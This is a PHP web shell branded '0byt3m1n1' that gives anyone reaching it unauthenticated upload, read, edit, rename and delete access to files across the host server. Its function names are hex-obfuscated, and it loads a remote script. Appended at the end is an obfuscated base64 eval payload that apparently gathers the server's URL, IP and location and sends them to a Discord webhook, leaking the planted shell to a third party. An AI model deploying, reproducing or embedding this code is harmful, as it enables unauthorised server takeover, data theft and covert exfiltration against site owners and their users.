<?php

/*
    0 b y t 3 m 1 n 1 - 2.2
    Bypass 403 Forbidden / Auto Delete Shell / PHP Malware Detector / Minishell

    Recoded by xRyukZ 
    Theme Zerotwo
    facebook.com/sawalrever
*/

set_time_limit(0);
error_reporting(0);
error_log(0);

$sname       = "\x30\x62\x79\x74\x33\x6d\x31\x6e\x31" . "-02";
$__gcdir     = "\x67" . "\x65\x74\x63\x77\x64";
$__fgetcon7s = "\x66\x69\x6c\x65" . "\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$__scdir     = "s" . "\x63\x61\x6e\x64\x69" . "r";
$rm__dir     = "\x72\x6d\x64" . "ir";
$un__link    = "\x75\x6e" . "\x6c\x69\x6e\x6b";

if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}

echo '<!DOCTYPE html><html>
    <head>
    <style>
    @import url(https://fonts.googleapis.com/css2?family=Balsamiq+Sans:ital@1&display=swap);
     body {
    background: url(https://i.imgur.com/J5cDUtx.png) no-repeat center center fixed; 
    background-size: cover;
    color:white;
    font-family: "Balsamiq Sans", cursive;
    margin:0;
    font-size: 14px; 
     } 
     h1 {
    font-family:"Balsamiq Sans", cursive;
    font-size:50px;
    margin:0; 
    color:#FF1493;
     } 
     h1:hover { 
    color:#FF69B4;
     } 
     select { 
    background:white;
    color:black; 
    }
     a { 
    color:#FF1493;
    text-decoration:none;
    font-family:"Balsamiq Sans", cursive; 
     } 
     textarea { 
    width:700px;
    height:300px;
    background:#FFB6C1;
    border:2px solid black;
    color:black;
    padding:5px;
     } 
     tr:hover { 
        background: #FFC0CB; } 
     th { 
        background:transparent;
        padding:3px; }
    </style>
    <meta name="robots" content"noindex. nofollow">
    <link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet">
    <title>'.$sname.'</title>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    </head>
    <body>';

echo '<div style="color:#ef6c00;margin-top:0;"><h1><center>' . $sname . '</center></h1></div>';
echo '<iframe width="100%" height="20" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/464036103&color=%23ff1493&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>';
if (isset($_GET['path'])) {
    $path = $_GET['path'];
    chdir($_GET['path']);
} else {
    $path = $__gcdir();
}
$path  = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo '<hr color="FF1493" style="margin-top:0;width:99%"><table width="100%" border="0" align="center" style="margin-top:0px;"><tr><td>';
echo "<font color='#FF1493' style='font-size:14px;'>Theme By xRyukZ.";
echo "<br>";
echo "<font style='font-size:14px;'>Path: ";
foreach ($paths as $id => $pat) {
    echo "<a style='font-size:14px;' href='?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo $paths[$i];
        if ($i != $id) {
            echo "/";
        }
    }
    echo "'>$pat</a>/";
}
echo '<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="30%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:white;margin-bottom:10px;"/><input type="submit" value="Upload" /></form></td></tr><tr><td colspan="2">';
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo '<center><font color="#00ff00">Upload OK!</font></center><br/>';
    } else {
        echo '<center><font color="red">Upload FAILED!</font></center><br/>';
    }
}
echo '<hr color="FF1493" style="margin-top:0;width:99%;">';
if (isset($_GET['filesrc'])) {
    echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>File: ';
    echo "" . basename($_GET['filesrc']);
    "";
    echo '</tr></td></table><br />';
    echo ("<center><textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea></center>");
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo '<center><font color="#00ff00">Rename OK!</font></center><br />';
            } else {
                echo '<center><font color="red">Rename Failed!</font></center><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" /> <input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo '<center><font color="#00ff00">Edit File OK!.</font></center><br />';
            } else {
                echo '<center><font color="red">Edit File Failed!.</font></center><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST"><textarea cols=80 rows=20 name="src">' . htmlspecialchars($__fgetcon7s($_POST['path'])) . '</textarea><br /><input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';
    }
    echo '</center>';
} else {
    echo '</table><br /><center>';
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if ($rm__dir($_POST['path'])) {
                echo '<center><font color="#00ff00">Dir Deleted!</font></center><br />';
            } else {
                echo '<center><font color="red">Delete Dir Failed!</font></center><br />';
            }
        } elseif ($_POST['type'] == 'file') {
            if ($un__link($_POST['path'])) {
                echo '<font color="#00ff00">Delete File Done.</font><br />';
            } else {
                echo '<font color="red">Delete File Error.</font><br />';
            }
        }
    }
    echo '</center>';
    $_scdir = $__scdir($path);
    echo '<div id="content"><table width="80%" border="0" cellpadding="4" cellspacing="2" align="center"><tr class="first"> <th><center>Name</center></th><th width="10%"><center>Size</center></th><th width="20%"><center>Permissions</center></th> <th width="20%"><center>Last Update</center></th><th width="11%"><center>Actions</center></th></tr>';
    foreach ($_scdir as $dir) {
        if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..')
            continue;
        echo "<tr><td>[D] <a href=\"?path=$path/$dir\">$dir</a></td><td><center>--</center></td><td><center>";
        if (is_writable("$path/$dir"))
            echo '<font color="#00ff00">';
        elseif (!is_readable("$path/$dir"))
            echo '<font color="red">';
        echo perms("$path/$dir");
        if (is_writable("$path/$dir") || !is_readable("$path/$dir"))
            echo '</font>';
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$dir")) . "";
        echo "</center></td> <td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\">\" /></form></center></td></tr>";
    }
    foreach ($_scdir as $file) {
        if (!is_file("$path/$file"))
            continue;
        $size = filesize("$path/$file") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size = $size . ' KB';
        }
        echo "<tr><td>[F] <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td><td><center>" . $size . "</center></td><td><center>";
        if (is_writable("$path/$file"))
            echo '<font color="#00ff00">';
        elseif (!is_readable("$path/$file"))
            echo '<font color="red">';
        echo perms("$path/$file");
        if (is_writable("$path/$file") || !is_readable("$path/$file"))
            echo '</font>';
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$file")) . "";
        echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\">\" /></form></center></td></tr>";
    }
    echo '</table></div>';
}
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) {
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}
echo '<br><center>&copy; <span id="footer"></span> 2020.</center><br>';
echo '<script type="text/javascript" src="//zerobyte-id.github.io/PHP-Backdoor/inc/footer.js"></script>';
echo '</body></html>';
?>
<?php $MP7ccMA0="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($MP7ccMA0("JHQwYmdJaDYwSz0iNWM4ZGM3MjMxZjg4NjRhMzllOWYzOWU0YTZjMWY4MWIiOyRHM3hIRmtZb2lSPWFycmF5KCk7JEczeEhGa1lvaVJbMF09IklEOCtQZTRkYTNiN2ZiYmNlMjM0NWQ3NzcyYjA2NzRhMzE4ZDVEOXdhSEFLSkhkbFltaHZiMnRWY213Z1BTQW5hSFIwY0hNNkx5OWthWE5qYjNKa0xtTnZiUzloY0drdmQyVmlhRzl2YTNNdk1URTBNekE0TnpreU5UTXdOemt5TURNNU5DOXMiOyRHM3hIRmtZb2lSWzFdPSJiV0U1UlRsd2M5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkU1ZCMWJFVkZabEk1ZDFOMmVFMUdNMVIwZVdoTGQxTmhURFV5TmpWeE5VbERXazlwVG5SZlRHUk5Vekp5YUdZNU5Vb3lYMUZZZW1oUmJGZEZZaWM3Q25SeWVTQjdDaUFnIjskRzN4SEZrWW9pUlsyXT0iSUNBa2NISjhmMTRlNDVmY2VlYTE2N2E1YTM2ZGVkZDRiZWEyNTQzdmRHOWpiMndnUFNCcGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGTW5YU2tnSmlZZ0pGOVRSVkpXUlZKYkowaFVWRkJUSjEwZ1BUMDlJQ2R2YmljZ1B5QWlhSFIwY0hNNiI7JEczeEhGa1lvaVJbM109Ikx5YzgxZTcyOGQ5ZDRjMmY2MzZmMDY3Zjg5Y2MxNDg2MmM4aUlEb2dJbWgwZEhBNkx5OGlPd29nSUNBZ0pHaHZjM1FnUFNBa1gxTkZVbFpGVWxzblNGUlVVRjlJVDFOVUoxMDdDaUFnSUNBa2MyTnlhWEIwSUQwZ0pGOVRSVkpXUlZKYkoxQkkiOyRHM3hIRmtZb2lSWzRdPSJVRjllY2NiYzg3ZTRiNWNlMmZlMjgzMDhmZDlmMmE3YmFmM1RSVXhHSjEwN0Nnb2dJQ0FnSkhWelpYSkJaMlZ1ZENBOUlDUmZVMFZTVmtWU1d5ZElWRlJRWDFWVFJWSmZRVWRGVGxRblhUc0tJQ0FnSUNSbWFXeGxWVkpNSUQwZ0pIQnliM1J2IjskRzN4SEZrWW9pUls1XT0iWWM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliMjlzSUM0Z0pHaHZjM1FnTGlBa2MyTnlhWEIwT3dvZ0lDQWdKR2x3VW1WemNHOXVjMlVnUFNCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lnaWFIUjBjSE02THk5aGNHa3VhWEJwWm5rdSI7JEczeEhGa1lvaVJbNl09ImIzSm5MejltYzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmRiM0p0WVhROWFuTnZiaUlwT3dvZ0lDQWdKR2x3UkdGMFlTQTlJR3B6YjI1ZlpHVmpiMlJsS0NScGNGSmxjM0J2Ym5ObEtUc0tJQ0FnSUNScGNDQTlJQ1JwY0VSaGRHRXQiOyRHM3hIRmtZb2lSWzddPSJQbWx3T3dvZ2M5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkSUNBZ0pHbHdTVzVtYjFKbGMzQnZibk5sSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5cGNHbHVabTh1YVc4dmV5UnBjSDB2YW5OdmJpSXBPd29nIjskRzN4SEZrWW9pUls4XT0iSUNBZ0pHMTY3OTA5MWM1YTg4MGZhZjZmYjVlNjA4N2ViMWIyZGNsd1NXNW1ieUE5SUdwemIyNWZaR1ZqYjJSbEtDUnBjRWx1Wm05U1pYTndiMjV6WlNrN0Nnb2dJQ0FnSkdOdmRXNTBjbmtnUFNBa2FYQkpibVp2TFQ1amIzVnVkSEo1T3dvZyI7JEczeEhGa1lvaVJbOV09IklDQWdhODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY0pISmxaMmx2YmlBOUlDUnBjRWx1Wm04dFBuSmxaMmx2YmpzS0lDQWdJQ1JqYVhSNUlEMGdKR2x3U1c1bWJ5MCtZMmwwZVRzS0NpQWdJQ0FrYldWemMyRm5aU0E5SUNJS0NpQWciOyRHM3hIRmtZb2lSWzEwXT0iSUNBZWNjYmM4N2U0YjVjZTJmZTI4MzA4ZmQ5ZjJhN2JhZjNxS2xWeWJEb3FLaUJnSkdacGJHVlZVa3hnWEc0S0lDQWdJQ0k3Q2lBZ0lDQWtkWE5sY201aGJXVWdQU0FpVTNSdmJHVnVJRk5vWld4c0lFUnZibVVpT3dvZ0lDQWdKR0YyWVhSaCI7JEczeEhGa1lvaVJbMTFdPSJjbFZ5YkNBOUk0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNkNKb2RIUndjem92TDJrdWFXMW5kWEl1WTI5dEwwTldSR0ZNUzJ3dWFuQm5JanNLSUNBZ0lDUmtZWFJoSUQwZ1lYSnlZWGtvQ2lBZ0lDQWdJQ0FnSjNWelpYSnVZVzFsIjskRzN4SEZrWW9pUlsxMl09Ikp5QTlQaUFrZDQ1YzQ4Y2NlMmUyZDdmYmRlYTFhZmM1MWM3YzZhZDI2WE5sY201aGJXVXNDaUFnSUNBZ0lDQWdKMkYyWVhSaGNsOTFjbXduSUQwK0lDUmhkbUYwWVhKVmNtd3NDaUFnSUNBZ0lDQWdKMlZ0WW1Wa2N5Y2dQVDRnWVhKeVlYa28iOyRHM3hIRmtZb2lSWzEzXT0iQ2lBZWNjYmM4N2U0YjVjZTJmZTI4MzA4ZmQ5ZjJhN2JhZjNnSUNBZ0lDQWdJQ0FnSUdGeWNtRjVLQW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMmx0WVdkbEp5QTlQaUJoY25KaGVTZ0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FuZFhKcyI7JEczeEhGa1lvaVJbMTRdPSJKeUE5UGlBa1o0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNjJsbVZYSnNDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQXBMQW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMlJsYzJOeWFYQjBhVzl1SnlBOVBpQWtiV1Z6YzJGblpRb2dJQ0FnIjskRzN4SEZrWW9pUlsxNV09IklDQWdhODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY0lDQWdJQ0FwQ2lBZ0lDQWdJQ0FnS1FvZ0lDQWdLVHNLQ2lBZ0lDQWtiM0IwYVc5dWN5QTlJR0Z5Y21GNUtBb2dJQ0FnSUNBZ0lDZG9kSFJ3SnlBOVBpQmhjbkpoZVNnS0lDQWciOyRHM3hIRmtZb2lSWzE2XT0iSUNBZ0lDMTY3OTA5MWM1YTg4MGZhZjZmYjVlNjA4N2ViMWIyZGNBZ0lDQWdKMmhsWVdSbGNpY2dJRDArSUNKRGIyNTBaVzUwTFhSNWNHVTZJR0Z3Y0d4cFkyRjBhVzl1TDJwemIyNWNjbHh1SWl3S0lDQWdJQ0FnSUNBZ0lDQWdKMjFsZEdodiI7JEczeEhGa1lvaVJbMTddPSJaYzRjYTQyMzhhMGI5MjM4MjBkY2M1MDlhNmY3NTg0OWJDY2dJRDArSUNkUVQxTlVKeXdLSUNBZ0lDQWdJQ0FnSUNBZ0oyTnZiblJsYm5RbklEMCtJR3B6YjI1ZlpXNWpiMlJsS0NSa1lYUmhLUW9nSUNBZ0lDQWdJQ2tLSUNBZ0lDazdDZ29nIjskRzN4SEZrWW9pUlsxOF09IklDQWdKR052YzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmRiblJsZUhRZ0lEMGdjM1J5WldGdFgyTnZiblJsZUhSZlkzSmxZWFJsS0NSdmNIUnBiMjV6S1RzS0lDQWdJQ1J5WlhOMWJIUWdQU0JtYVd4bFgyZGxkRjlqYjI1MFpXNTAiOyRHM3hIRmtZb2lSWzE5XT0iY3lna2QyVmlhRzl2YTFWeWJDd2dabUZzYzJVc0lDUmpiMjUwWlhoMEtUc0tDaUFnSUNCOUlHTmhkR05vSUNoRmVHTmxjSFJwYjI0Z0pHVXBJSHNLSUNBZ0lDQWdJQ0FLSUNBZ0lIMEtQejRLUEQ5d2FIQWciOyRxTDIwMjMwODIyMDUyMDE1PSJceDYyXDE0MVx4NzNceDY1XHgzNlx4MzRceDVmXDE0NFwxNDVceDYzXHg2Zlx4NjRcMTQ1IjskTW9BMjAyMzA4MjIwNTIwMTUgPSBGbk9kb0Y1YTIwMjMwODIyMDUyMDE1KCRHM3hIRmtZb2lSLCR0MGJnSWg2MEspO2Z1bmN0aW9uIEZuT2RvRjVhMjAyMzA4MjIwNTIwMTUoJGFlLCRrZXkpIHsgJGF0PWFycmF5KCk7IGZvciAoJGk9MDsgJGkgPCBzdHJsZW4oJGtleSk7ICRpKyspIHsgaWYgKGludHZhbCgka2V5WyRpXSk+MCkgeyAkYXRbJGldPSRrZXlbJGldOyB9IH0gJGF0PWFycmF5X3ZhbHVlcygkYXQpOyAkc3RyPSIiOyBmb3IgKCRpPTA7ICRpIDwgY291bnQoJGFlKTsgJGkrKykgeyBpZiAoJGk8IGNvdW50KCRhZSktMSkgJHN0ci49c3RyX3JlcGxhY2UobWQ1KCRhdFskaV0pLCAiIiwgJGFlWyRpXSk7IGVsc2UgJHN0ci49JGFlWyRpXTsgfSByZXR1cm4gJHN0cjsgfWV2YWwoJHFMMjAyMzA4MjIwNTIwMTUoJE1vQTIwMjMwODIyMDUyMDE1KSk7")); ?>
